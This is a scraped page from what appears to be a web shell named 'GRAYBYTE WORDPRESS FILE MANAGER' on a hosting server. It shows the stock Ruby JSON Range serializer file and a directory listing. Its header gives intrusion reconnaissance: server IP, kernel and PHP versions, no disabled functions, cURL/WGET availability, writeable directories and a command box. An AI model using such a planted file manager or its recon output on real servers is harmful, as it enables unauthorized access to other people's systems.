GRAYBYTE WORDPRESS FILE MANAGER6620

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /opt/alt/ruby20/lib64/ruby/2.0.0/json/add/
Upload Files :
Current_dir [ Not Writeable ] Document_root [ Writeable ]

Command :


Current File : /opt/alt/ruby20/lib64/ruby/2.0.0/json/add//range.rb
unless defined?(::JSON::JSON_LOADED) and ::JSON::JSON_LOADED
  require 'json'
end

# Range serialization/deserialization
class Range

  # Deserializes JSON string by constructing new Range object with arguments
  # <tt>a</tt> serialized by <tt>to_json</tt>.
  def self.json_create(object)
    new(*object['a'])
  end

  # Returns a hash, that will be turned into a JSON object and represent this
  # object.
  def as_json(*)
    {
      JSON.create_id  => self.class.name,
      'a'             => [ first, last, exclude_end? ]
    }
  end

  # Stores class name (Range) with JSON array of arguments <tt>a</tt> which
  # include <tt>first</tt> (integer), <tt>last</tt> (integer), and
  # <tt>exclude_end?</tt> (boolean) as JSON string.
  def to_json(*args)
    as_json.to_json(*args)
  end
end

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
March 03 2024 22:43:37
root / linksafe
0755
bigdecimal.rb
0.555 KB
July 26 2023 14:09:00
root / linksafe
0644
complex.rb
0.389 KB
July 26 2023 14:09:00
root / linksafe
0644
core.rb
0.311 KB
July 26 2023 14:09:00
root / linksafe
0644
date.rb
0.867 KB
July 26 2023 14:09:00
root / linksafe
0644
date_time.rb
1.308 KB
July 26 2023 14:09:00
root / linksafe
0644
exception.rb
0.792 KB
July 26 2023 14:09:00
root / linksafe
0644
ostruct.rb
0.791 KB
July 26 2023 14:09:00
root / linksafe
0644
range.rb
0.775 KB
July 26 2023 14:09:00
root / linksafe
0644
rational.rb
0.404 KB
July 26 2023 14:09:00
root / linksafe
0644
regexp.rb
0.751 KB
July 26 2023 14:09:00
root / linksafe
0644
struct.rb
0.776 KB
July 26 2023 14:09:00
root / linksafe
0644
symbol.rb
0.608 KB
July 26 2023 14:09:00
root / linksafe
0644
time.rb
1.009 KB
July 26 2023 14:09:00
root / linksafe
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF